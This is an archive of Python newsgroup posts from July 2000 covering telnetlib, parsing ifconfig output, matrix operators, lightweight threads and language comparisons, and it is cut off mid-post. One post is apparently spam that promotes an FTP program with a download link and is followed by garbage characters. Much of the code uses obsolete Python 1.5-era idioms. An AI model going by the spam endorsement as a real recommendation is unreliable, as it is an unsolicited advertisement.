From Marc.Poinot at onera.fr  Wed Jul 19 08:06:22 2000
From: Marc.Poinot at onera.fr (Marc Poinot)
Date: Wed, 19 Jul 2000 14:06:22 +0200
Subject: Python et Question sur Linux
References: <8l43gh$j3u$1@broadway.news.is-europe.net>
Message-ID: <397599BE.EF3C1101@onera.fr>

J?r?me Lecomte wrote:
> 
> Salut,
> 
> J'ai commenc? ? regarder Python. Ca a l'air vraiment bien (plus facile
> et plus clair que Perl et mieux int?gr? avec le reste du monde que
> tout ce que j'ai vu jusqu'a pr?sent). Tu connais ?
> 
> Mon fr?re envisage d'installer Linux sur son PC (266Mhz) pour
> programmer. Il faut compter combien de DD pour ?tre confortable. 500Mo
> peut faire l'affaire, ou il faut 1Go min.
> 
Salut,

Ton frere peut poser ses questions en Francais sur python at aful.org
Mon frere aussi, il voulait mettre Python sur son PC.
Et en plus il s'appelle Jerome, mon frere !

Marcvs [alias Dans la communaute Python, on est tous freres. Sauf
        Guido qui est le Pere, et Tim Peters qui est l'oncle ;)]



From egbert at bork.demon.nl  Mon Jul  3 11:17:23 2000
From: egbert at bork.demon.nl (Egbert Bouwman)
Date: Mon, 3 Jul 2000 17:17:23 +0200
Subject: Books
In-Reply-To: <8jpvhi$jfs$1@newshost.accu.uu.nl>; from Martijn Faassen on Mon, Jul 03, 2000 at 12:05:06PM +0000
References: <8jb1ec$9mh2@news.qualitynet.net> <autilso0l591oo924n3mogcva7r2892p5b@4ax.com> <8jpvhi$jfs$1@newshost.accu.uu.nl>
Message-ID: <20000703171722.A7614@bork>

On Mon, Jul 03, 2000 at 12:05:06PM +0000, Martijn Faassen wrote:
> 
> I'm not sure how good Learning Python is at teaching OO concepts to people
> who don't know about it yet. *Python* would be good though. Any opinions?
> 
The PizzaRobot in Learning Python gave me a better idea what OO in Python
is about, and what it can be used for, than anything else I have read so far.
But it didn't teach me OO. Either I have to do a lot of thinking and 
experimenting myself, or I have to wait for a book with more ideas, 
concepts, design etc, and not in the first place tricks and techniques.

Actually a great eye opener was the remark in this list a few days ago,
when someone said that you use classes when you have to combine 
program and data, and functions when you have only program code.
Or something like that. For what is a program without data.
egbert
-- 
Egbert Bouwman - Keizersgracht 197 II - 1016 DS  Amsterdam - 020 6257991
========================================================================



From andre at UltraShell.Net  Fri Jul 28 05:28:29 2000
From: andre at UltraShell.Net (Andre van Straaten)
Date: Fri, 28 Jul 2000 09:28:29 GMT
Subject: problems with telnetlib
References: <397F2A79.8B066DD3@tcgfinancial.com>
Message-ID: <1ncg5.3375$%W6.127846@news-east.usenetserver.com>

As no one has responded so far, my hint is to have a look for the
specification of the terminal you send to the server.

The following three lines are a simple script which sets up as default a
very dumb terminal which cannot even filename completion, but you insert
characters (after naturally having logged in).

import telnetlib
se = telnetlib.Telnet("209.150.158.130")
se.interact()

Try this to exclude other sources of errors, and then search for terminal
set up (and maybe the prompt, too).

-- avs

jtoy <jtoy at tcgfinancial.com> wrote:
> I have tried several sample scripts including the oses at python.org,
> but I can't get any of the scripts to work properly.  I have Python
> 1.5.2 on Linux 2.2.15.  All I want to do is write a script that telnets
> into a machine and executes '/etc/email'.  I can safely get up to the
> password prompt with:

> from telnetlib import Telnet
> tn = Telnet('192.168.0.254')
> tn.read_until('login: ')
> tn.write('someuser\n')
> tn.read_until('password: ')
> tn.write('password\n')
> tn.read_until('$ ')

> then I get error in line 224 read_very_lazy and in 300 read_very_lazy
> My exact login prompt after a normail telnetsession is:
> [user at localnet user]$
> So reading until '$' should be write.  Also, after I type
> tn.read_until('password: '), thr python prompt freezes for 30 seconds
> but continues normally after, why is this?



> --
> Jason Toy
> toyboy at toy.eyep.net
> jtoy at tcgfinancial.com
> http://toy.eyep.net



-- 

Andre van Straaten
http://www.vanstraatensoft.com
______________________________________________
flames please to /dev/null at vanstraatensoft.com



From jonathan at meanwhile.freeserve.co.uk  Wed Jul 12 04:53:19 2000
From: jonathan at meanwhile.freeserve.co.uk (Jonathan Coupe)
Date: Wed, 12 Jul 2000 09:53:19 +0100
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com>
Message-ID: <8kfum1$1nk$1@news8.svr.pol.co.uk>

bv <bvoh at sdynamix.com> wrote in message
news:396A493A.DE1DF77B at sdynamix.com...
>
> Language Challenge 2000 -- Results
>
> Contest entries have been tabulated and you're invited to find out how
> different languages fared. View the effortless solution of this
> technical problem embodying a central theme of modern engineering and
> scientific practice -- computer aided optimal design.
>
> To view the contest summary please click on the "Language Challenge
> 2000" on http://sdynamix.com

So they had seven entries. Six in Fortran and one in assembler. And which
language do you think got the highest average score...

Jonathan Coupe




From hopper at omnifarious.mn.org  Thu Jul 13 21:17:18 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Thu, 13 Jul 2000 19:17:18 -0600
Subject: DB-API and Sybase
Message-ID: <i_sb5.1038$6E.125882@ptah.visi.com>

Posted this in the wrong place previously.  Oops.  *embarassed look*

Does anybody know where I can find a DB-API connection to Sybase?  I've
been looking, but it's not at at all clear where a recent version actually
is.

Thanks,
--Eric Hopper



From sdf at sdf.com  Wed Jul 26 18:04:23 2000
From: sdf at sdf.com (sdf at sdf.com)
Date: Wednesday, 26 Jul 2000 16:04:23 -0600
Subject: * User-friendly software..
Message-ID: <26070016.0423@sdf.com>

I found a fast and powerful FTP software, it is called FTP Now...
I used it for a week already, I think it is quite good, just like Cuteftp and Ws_ftp. Also, it has a user-friendly interface and you can perform any FTP command easily.

Anyway, i think it is a very good software and it is worth to try.

Download here:
http://english.myfolder.net/Categories/Internet_and_Network/Telnet_and_FTP/Review/?sn=9707




































@`[)fx)#7TUz$4\<n0hr


From peter at schneider-kamp.de  Thu Jul 20 04:08:15 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 20 Jul 2000 08:08:15 +0000
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local> <3976371F.210C2C21@uab.edu> <8l5lne$lb$1@slb0.atl.mindspring.net>
Message-ID: <3976B36F.B244ABC1@schneider-kamp.de>

Aahz Maruch wrote:
> 
> Oh, *that's* a good one.  All right, anyone else agree that "interleave"
> is the best suggestion we've had so far?

Not me. E.g.:

a = [1,2,3]
b = [4,5,6]
c = [7,8,9]
d = [10,11,12]

To me there are many interpretations (thinking of TV screens etc.):

interleave(a,b,c,d) == [1,2,3, 7,8,9, 4,5,6, 10,11,12]
or
interleave(a,b,c,d) == [1,2,3, 6,5,4, 7,8,9, 12,11,10]
or
interleave(a,b,c,d) == [1,7,4,10, 2,8,5,11, 3,9,6,12]
or
interleave(a,b,c,d) == [1,4,7,10, 2,5,8,11, 3,6,9,12]

The last one is the nearest I get, but for me interleave
is always producing one list.

Following the zip-is-compression argument, there will
also be people who think that

open("my_interlaced.gif","wb").write(interleave(open("my.gif","rb").read()))

will do the obvious thing ;-)

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From wtanksle at dolphin.openprojects.net  Fri Jul 28 17:47:19 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Fri, 28 Jul 2000 21:47:19 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com> <u3dku59ni.fsf@ctwd0143.fitlinxx.com> <slrn8o3tio.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o3vr6.dti.wtanksle@dolphin.openprojects.net>

On Fri, 28 Jul 2000 21:10:51 GMT, Steve Lamb wrote:
>On 28 Jul 2000 15:37:05 -0400, David Bolen <db3l at fitlinxx.com> wrote:
>>In the case here it seems as if you don't really want to define the
>>name and associate it with nothing, you want to define the name and
>>associate it with an object that will support being appended to.  In

>    Will this work if the decision is to make it a string, not a list?

No, because strings don't support being appended to.  You can concatenate
two strings to produce a new one, but you can't append to one.

>>Or conversely, you could be asking to really have no definition for a,
>>but have the language implicitly create a new object upon your first
>>attempt to use an ".append" method - something which I don't think is
>>really either intuitive or something that works in the general case
>>for an object oriented model.

>    Hmmm, I see your point there.

As I mentioned, you could also use a function -- the parameter of the
function is by definition of no known contents, and therefore of no known
type.

>         Steve C. Lamb

-- 
-William "Billy" Tanksley


From phil.harris at zzope.co.uk  Sat Jul 15 13:30:43 2000
From: phil.harris at zzope.co.uk (Phil Harris)
Date: Sat, 15 Jul 2000 18:30:43 +0100
Subject: NT4 shortcuts and import
References: <8koe6q$avh$1@nnrp1.deja.com>
Message-ID: <39709fdc@news.server.worldonline.co.uk>

You can't do that in NT.

Shortcuts are not the same as links in *nix.

Shortcuts are really, next to useless.

Even most microsoft products don't know what to do with them, try using a
shortcut to a folder in any standard ms product and it will fail in the same
way.

Phil

Andy Freeman <anamax at earthlink.net> wrote in message
news:8koe6q$avh$1 at nnrp1.deja.com...
> I'd like to use a shortcut named, say, "src", from the current
> directory to a directory somewhere else and then use "import src.foo".
> The problem is that NT4 thinks that the shortcut is named "src"
> but Python thinks that the shortcut is named "src.lnk".  Note that
> I can't use "import src.lnk.foo" because the first "." is interpreted
> as a directory name separator, not a part of the "src.lnk" module
> name.
>
> (1) How do I get Python to use "src" as the module name?
> (2) How do I escape "." in variable names?
>
> I'm using Python 1.5.
>
> thanks,
> -andy
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From dsavitsk at e-coli.net  Fri Jul 14 15:18:44 2000
From: dsavitsk at e-coli.net (dsavitsk)
Date: Fri, 14 Jul 2000 19:18:44 GMT
Subject: Local CGI programming
References: <396F0F28.7C8B8B83@ieee.org> <8kn7s0$dkb$1@nnrp1.deja.com>
Message-ID: <oIJb5.58404$dF.2276418@news1.rdc1.il.home.com>

will you ever deploy this in the "real world"? if so i agree with Apache,
especially if you will be on a Unix host. If, however, this is only local or
you will deploy on an NT server, IIS using a PythonScript ASP should run a
bit more efficiently and faster. my $.02 anyhow.


"David Currie" <davec999 at my-deja.com> wrote in message
news:8kn7s0$dkb$1 at nnrp1.deja.com...
> In article <396F0F28.7C8B8B83 at ieee.org>,
>   Didier WILLAME <didier.willame at ieee.org> wrote:
> > Is a http service needed to perform this test?
> >   If yes, what minimal product propose you?
> >   If no, what is the error?
>
> You have hit the nail on the head.  Yes, an http server has to serve
> the pages because the browser doesn't handle the CGI protocol.
>
> I don't know how suitable I am for recommending a product, but the
> Apache for NT installation is quick and easy to do.  However, this
> discussion probably belongs in another newsgroup.. :)
>
> Dave
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From paul at prescod.net  Tue Jul 18 23:22:34 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 22:22:34 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com>
Message-ID: <39751EFA.6293FDFE@prescod.net>

Tim Hochberg wrote:
> 
> Similarly:
> 
> dot((A,B), C) -> A(B)(C)
> dot(A, dot(B,C) -> A(B(C))
> 
> which looks pretty good to me. And it's arguably closer to paper
> linear algebra notation than A*B is.

Another good idea! You can even make it look like the new-syntax
proposal:

A()*B()*C
A()+B()+C
A()-B()-C

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From gee308 at mediaone.net  Sat Jul 22 02:42:15 2000
From: gee308 at mediaone.net (Toy)
Date: Sat, 22 Jul 2000 06:42:15 GMT
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com>
Message-ID: <39794752.D54A50CD@mediaone.net>

Thanks for showing me how to do that.  I tried to edit something, but it
didn't work, I'll show you:


def getMyAddr():
  object = raw_input(Which device is connect to the internet(i.e. ppp0, eth0,
ne3: ")
  p=os.popen("/sbin/ifconfig",object)

Is it possible to do that?  Will it work with os.system?  What are the
differences bewteen using os.popen and os.system?  Thanks for your time.
BTW, I only compared OpenBSD 2.7, Linux 2.2.15, and FreeBSD 4.0, but it seems
if you do the string search  on ifconfig with find text on 1 line beginning
with inet and ending with mask, It looks like you can get the IP from those 3
machines.(of coure I still can't write some code to actually do it).  Thanks
again.
Jason Toy



Matthew Dixon Cowles wrote:

> In article <3978FD9D.B08460CB at mediaone.net>, Toy <gee308 at mediaone.net>
> wrote:
>
> > How can I make python issue the command, "ifconfig -a eth0", and then
> > parse the data to grab the IP?  I would think that you could tell Python
> > to look for the word, 'inet addr:"(is it different on different Unixes?)
> > and then tell it to get a number right after 'inet addr' that looks like
> > xx.x.xxx.xxx !!  Simple Q, but I'm new, thanks.
>
> Something like this should work for you:
>
> import os
> import string
> import re
> import sys
>
> def getMyAddr():
>   p=os.popen("/sbin/ifconfig ep0")
>   l=p.readline()
>   while l<>"":
>     if string.strip(l)[:5]=="inet ":
>       matchObj=re.search("\d+.\d+.\d+.\d+",l)
>       p.close()
>       return matchObj.group(0)
>     l=p.readline()
>   p.close()
>   return "not found"
>
> def main():
>   print getMyAddr()
>
> if __name__=="__main__":
>   main()
>
> You'll also notice that the answer to your second question is yes. The
> format of the output of ifconfig is different from Unix to Unix. The
> above example works on FreeBSD. You will need to fiddle it some to get
> it to work under Linux.
>
> Another way to get the local IP is to use the functions in the socket
> module:
>
> >>> import socket
> >>> socket.gethostbyaddr(socket.gethostname())[2][0]
>
> But how to do that varies from machine to machine too. The code above
> works correctly on my FreeBSD box but on my Linux laptop it returns
> 127.0.0.1. In order to make it work right on that machine, I need to
> ask for the address of the hostname only, not the FQDN:
>
> >>> socket.gethostbyaddr(socket.gethostname()
> >>>   [:string.find(socket.gethostname(),".")])[2][0]
>
> If there's a portable way of getting the local IP address, I don't know
> what it is.
>
> Regards,
> Matt



From mwh21 at cam.ac.uk  Mon Jul 24 07:26:48 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 24 Jul 2000 12:26:48 +0100
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu>
Message-ID: <m3bsznpy4n.fsf@localhost.localdomain>

Ronald Steedman <steedman at quake.cs.fsu.edu> writes:

>  A full compile of a complex software package can often take 30 seconds or
>  more. That can be frustrating when you're trying to find and remove bugs.
>  You try one thing, wait 30 seconds, try another thing, wait 30 seconds...
> 
>  Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
>  RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
>  compile the application when you're finished and want a faster program.
> 
>  I like how Visual Basic offers both compiled and interpreted programs. I
>  would like to see Visual C++ follow suit. :)

Another major advantage of dynamic languages like Python (or lisp or
...) is that you can easily poke around at the data structures at
runtime (which is rather less tedious than stopping your debugging
session, adding some code to dump said data structures to a file,
recompiling, getting your program back to the state you want to debug,
then looking at the file, trying to remember why you created it).

guess-what-I'm-doing-today-ly y'rs
Michael

-- 
  I'm okay with intellegent buildings, I'm okay with non-sentient
  buildings. I have serious reservations about stupid buildings.
     -- Dan Sheppard, ucam.chat (from Owen Dunn's summary of the year)


From jkirwan at easystreet.com  Mon Jul 24 21:49:33 2000
From: jkirwan at easystreet.com (Jon Kirwan)
Date: Mon, 24 Jul 2000 18:49:33 -0700
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie> <uya2rpfja.fsf@ctwd0143.fitlinxx.com>
Message-ID: <ve98OTrXyJUr3h1xQ+SPQL4SDFHa@4ax.com>

On 24 Jul 2000 14:08:25 -0400, David Bolen <db3l at fitlinxx.com> wrote:

>gerryq at indigo.ie (Gerry Quinn) writes:
>
>> In article <8lh588$oti$3 at news.fsu.edu>, Ronald Steedman <steedman at quake.cs.fsu.edu> wrote:
>> > A full compile of a complex software package can often take 30 seconds or
>> > more. That can be frustrating when you're trying to find and remove bugs.
>> > You try one thing, wait 30 seconds, try another thing, wait 30 seconds...
>> >
>> > Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
>> > RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
>> > compile the application when you're finished and want a faster program.
>> 
>> If I were your boss I would make sure you had no access to an 
>> interpreter!  I would even slow down your compilation by giving you an 
>> older machine ;-)
>> Changing things at random and hoping the problem goes away is not the 
>> way to fix bugs.
>
>Where in the above did he say "random" and "hope"?  Being able to
>iteratively and interactively make changes hardly has to impact the
>methodology used in arriving at those changes to be made.
>
>Or are you saying that the use of a compiler would remove the need to
>ever iterate more than once on a bug fix?  I'm not sure I'd agree :-)

I'm guessing at Gerry's meaning here, drawing from my own
observations, but...

Perhaps he meant to point out the lack of discipline that a
prototyping language may often encourage.  Folks start "hacking" their
code into what appears to be the right behavior rather than designing
it in, from careful thought.  They may instead wait until the
interpreter slaps up an error dialogue on some line and then just hack
in an 'IF' to "cover (fix) it."

Perhaps "random" and "hope" were too strong of words.  But the gist
may have been that he'd like to encourage the kind of mental skills
developed, that better happen when you are coding "on a high-wire and
without a net."  I use a debugger rarely and sporadically -- perhaps
twice a year, on average -- usually to clear up an ambiguity not
entirely obvious from the instruction documentation.

Debuggers and interpreters are often (but not always) used chronically
as crutches to get around in everyday life, rather than the occasional
solution to an acute problem.  Mental growth languishes and withers
with such poor exercise.

Jon


From aahz at netcom.com  Thu Jul 20 09:51:40 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 13:51:40 GMT
Subject: Waiting for Threads to Stop
References: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net>
Message-ID: <8l705c$uop$1@nntp9.atl.mindspring.net>

In article <lzBd5.7626$IZ1.59773 at iad-read.news.verio.net>,
Doug Fort <dougfort at downright.com> wrote:
>
>I have several cases where I want one thread to wait for one or more other
>threads to terminate.  I've had poor results attempting to spin on isAlive()
>in join().  I'm contemplating  using a  semaphore.  Has anyone got a more
>elegant idiom?

If you're waiting for one thread, that's reasonably easy.  If you're
waiting for all of a group of threads, use a semaphore.  But if you're
waiting for any one of a group of threads, that's a bit more tricky.
I'd suggest waiting on a queue, where the threads dump their data into
the queue.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From gerrit.muller at philips.com  Mon Jul 31 03:03:17 2000
From: gerrit.muller at philips.com (Gerrit Muller)
Date: Mon, 31 Jul 2000 07:03:17 GMT
Subject: Python in politics (sssssssssnake!)
References: <Pine.GSO.4.10.10007291308070.20226-100000@sundial>
Message-ID: <398524B5.A608BFF1@philips.com>


Moshe Zadka wrote:
[...snip...]
> "Thinking like a computer scientist in Python", available at
> http://yhslug.tux.org/obp/
> (follow the links)
> might be a bit too heavy for 9yr old, but should be a good place to start.
> 
> It's under the  GPL, so you're welcome to fork a version suitable for
> younger kids, and share the changes with everyone.
> --
> Moshe Zadka <moshez at math.huji.ac.il>
> There is no IGLU cabal.
> http://advogato.org/person/moshez

Books for children should immediately contain action, preferably audio
or images/video. My children (12 and 10 years) loose interest if there
is more than a few paragraphs of explaining text, especially when it is
dull theory.

Here in Holland we have a series of books by Addo Stuur, Programming for
children, Windows for children etcetera, which all follow the formula of
telling in detail how to do something followed by an exercise. My
children sometimes get bored by the completeness of detail Addo brings
in. Nevertheless his method gets children productive in a short amount
of time. Maybe we should send Addo Stuur a few Python books :-)
-- 
-------------------------------------------------------------------------
Gerrit Muller                Philips Research Laboratories Eindhoven
Building:   WLp 1 17                    Prof. Holstlaan 4
Phone: +31 40 27 45242               5656 AA  Eindhoven
Fax:   +31 40 2743741          The Netherlands
mailto:gerrit.muller at philips.com
http://www.extra.research.philips.com/natlab/sysarch/index.html


From wware at world.std.com  Thu Jul 20 00:12:11 2000
From: wware at world.std.com (Will Ware)
Date: Thu, 20 Jul 2000 04:12:11 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l52hs$i05$1@kopp.stud.ntnu.no>
Message-ID: <FxzACB.KEB@world.std.com>

> > Be sure to check out stackless Python, which has some advantages for
> > game scripting:
> >
> > http://www.stackless.com/

Magnus Lie Hetland (mlh at idi.ntnu.no) wrote:
> What exactly *are* these advantages? (Very curious...)

Stacklessness allows you to implement extremely light-weight threads,
because you can concisely maintain a number of execution contexts
simultaneously, and rapidly switch between them. This could be useful
in a game if you want to model simultaneous behavior of a large number
of agents, such as soldiers in an army, ants in an anthill, airplanes
in a Pearl Harbor simulation, etc. Chris Tismer, Just van Rossum, and
I have done some work on this. See
http://world.std.com/~wware/uthread.html

-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From gansevle at cs.utwente.nl  Tue Jul  4 06:14:08 2000
From: gansevle at cs.utwente.nl (Fred Gansevles)
Date: Tue, 04 Jul 2000 10:14:08 GMT
Subject: Performance
References: <39619175.5F8B503D@proceryon.at>
Message-ID: <8jsdd9$51r$1@nnrp1.deja.com>

In article <39619175.5F8B503D at proceryon.at>,
  Horst Gassner <horst at proceryon.at> wrote:
> Hi all!
>
> I have implemented a tree view with special items (the base for this
> work was the TreeWidget from IDLE).
>
> The performance is not the best and therefore I ran the profiler
today.
> The following function is one of the slower ones and I would be happy
if
> there are any possibilties to speed this thing up.
>
> subItems = {}
> if s.__subList[level] :
> 	  for key in s.__subList[level].keys ():
> 		# root level is special case!
> 		# get all sublevels without recognizing id of sublevel
> 		if level==0 or string.find(key, id) == 0 :
> 			subItems[key] = s.__subList[level][key]
>
> The functions looks for all subitems for a given level and a given id.
> For each level I have pre-built a list that I have just to go through
> the items of the given level.
>

You can speed things up by putting the special case outside the loop
Another speedup is: use slices instead of string.find since you only
match the first part of the key

<untestded_code>
subItems={}
if s.__subList[level]:
    if level == 0:
        # root level is special case
        subItems = s.__subList[level].copy()
    else:
        id_len = len(id)
        for key in s.__subList[level].keys ():
            if key[:id_len] == id:
                subItems[key] = s.__subList[level][key]
</untested_code>

This might improve things abot 5-10% depending on how often string.find
would fail on finding the id.

> Thanx in advance
> Horst
>

--
-----------------------------------------------------------------------
----          Linux/Windows-NT/IntraNetware Administrator          ----
-- Whenever it sounds simple, I've probably missed something! ... Me --
-----------------------------------------------------------------------


Sent via Deja.com http://www.deja.com/
Before you buy.


From sglanger at u.washington.edu  Sun Jul 16 16:57:22 2000
From: sglanger at u.washington.edu (steve langer)
Date: Sun, 16 Jul 2000 13:57:22 -0700
Subject: Internet Programming in Python
Message-ID: <397221B2.173C3947@u.washington.edu>

Does anyone know a used book store that would carry this out of print
book?

Email great.

thanks,
SL    sglanger at oakland.edu



From cjc26 at nospam.cornell.edu  Mon Jul 10 20:50:30 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Tue, 11 Jul 2000 00:50:30 GMT
Subject: Nonblocking IO?
References: <E139sQ2-0002Vi-00@localhost>
Message-ID: <slrn8mks34.1iqj.cjc26@synecdoche.bridget.mindriot.net>

* Nolan Darilek <nolan_d at bigfoot.com> menulis:
| 
| The most obvious solution is to use curses, but this makes my program
| much more complex than it needs to be. Since cmd does almost exactly
| what I want it to do, I'd much rather change the Cmd class than add
| curses. I've seen code written in C which does what I'd like to do
| (Micq, for example, has the interface which I'm aiming for, yet it
| doesn't use curses/ncurses.) So, is it somehow possible to either a)
| make raw_input nonblocking or b) use some other nonblocking IO method?

You could use the select module to wait for input from multiple file
descriptors (for example, sys.stdin and a socket).  Also, the asyncore
module is a higher-level interface to select, and may be useful to you
too.


| And, is it then possible to ensure that the output from the socket
| isn't intermingled with the input? If I do nonblocking IO, I'm
| assuming that it's simply a matter of printing a newline, my message,
| and then reprinting the prompt while stuffing the existing input back
| into the input buffer.

Have you checked out the termios module?  That would be pretty much the
only other way to do it, besides curses (which is aptly named, don't you
think? ;)

curses-shmurses-ly y'rs, Cliff


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From paul.magwene at yale.edu  Sat Jul 15 13:17:37 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Sat, 15 Jul 2000 13:17:37 -0400
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F76F0.1B451932@sage.att.com> <slrn8mvqbe.12e.hzhu@localhost.localdomain> <8kp4bo$jpt$1@slb7.atl.mindspring.net>
Message-ID: <39709CB1.4F652EFA@yale.edu>

Andrew Dalke wrote:
> 
> Huaiyu Zhu wrote:

> >
> >That's the beauty of numerical computation, because all kinds of
> >applications, from animation on your screen to controlling satallite in
> >space to analysing molecular structures to calculating consumer preference
> >could all be expressed in the language of linear algebra
> 
> Speaking as someone who has been analysing molecular structures for the
> last 7 years and animating them for about 5 of those years, I can say
> the lack of dot-wise elements, both in C++ and in Python, has not been
> a great concern.
> 
>                     Andrew
>                     dalke at acm.org


I agree with Andrew.  The bread and butter of my programming activities
involve numerical computation, and in particular linear algebra.  But I
DO NOT want to see python polluted with all sorts of special syntax just
for that purpose.


-- 

Paul Magwene
paul.magwene at yale.edu


From xiarcexml at yahoo.com  Mon Jul 17 14:17:43 2000
From: xiarcexml at yahoo.com (Dave Williams)
Date: Mon, 17 Jul 2000 11:17:43 -0700 (PDT)
Subject: Does Python code >.require<< a run-time environment?? (New to   Python)
Message-ID: <20000717181743.6728.qmail@web5302.mail.yahoo.com>

I suppose... I have always had the kits and the java files installed
on my computer... and when I started my major project (version 1.0)
completed with Java, I was doing so because I had Macs and IBMS and
Unix's, Linux's as potential clients.  I was going for Java because
of its touted 'platform independence'.
    I love Java... BUT.. it is not as independent as Sun would have
wanted it...

Ironically, now, I have only Windows users... but the language I
chose to 'learn' was Java for it, and it is written in Java...

Currently, they DL the files and install them into wherever their
classes run, and type in the RUN box C:\WINDOWS\Jview CyberGameTable

(yes, I, <gasp>, have users using Jview, as it is installed, and
convincing them do DL Sun's package did not work)


I was hoping that Python (and it does seem to be really neat on the
programming end) would provide me with the ability to create an
executable that one would Download and run without having to (1) set
classpath (2) run-line command it.. etc...  ((I had been hoping for
it in Java, too... chock it up to beginners' stupidity--one year
later I am a little wiser))

I've read references to 'compiling it to C'... is this a laborious
process requiring knowledge of C or C++?

~Dave


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From etiennel at geospace.co.za  Fri Jul 14 05:26:18 2000
From: etiennel at geospace.co.za (Etienne Labuschagne)
Date: Fri, 14 Jul 2000 11:26:18 +0200
Subject: Memory leak problems with python and COM
References: <963474833.835936@proxy.lia.net> <8klbu9$38u$1@nnrp1.deja.com>
Message-ID: <963566559.894793@proxy.lia.net>

Thanks for the reply Mark,

I will get the latest version and report back if that helped.

Regards
Etienne

"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:8klbu9$38u$1 at nnrp1.deja.com...
> In article <963474833.835936 at proxy.lia.net>,
>   "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
> > Deleted a and b on the python side and then destroying the COM
> server - that
> > doesn't clear up the memory. I am using SafeArrayAccessData and
> > SafeArrayUnlock on the server side to make sure that it releases the
> data on
> > the server side.
> >
> > Is there something else that I must do?
>
> I suggest you get the latest CVS version (I realize this may be a
> PITA :-(  Since build 132, a number of leaks have been fixed.  There is
> a very good chance that this particular leak was plugged previously.
>
> If not, I will definately look into this and plug it!
>
> Mark.
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From m.faassen at vet.uu.nl  Fri Jul 28 16:11:42 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 20:11:42 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com>
Message-ID: <8lspdu$m7e$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 27 Jul 2000 20:24:38 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>In the end if you want to add your data together, you need to know what
>>the result will be. If you want to substract your data, you also need
>>to know. 

>     That all depends.  In python, yes, you need to know.  Why?  Because 1 +
> "foo" doesn't work.  Sure, in perl you get 1, but you don't get blown out of
> the water because of it.

You mean your interpreter does not stop, it continues, even though it got
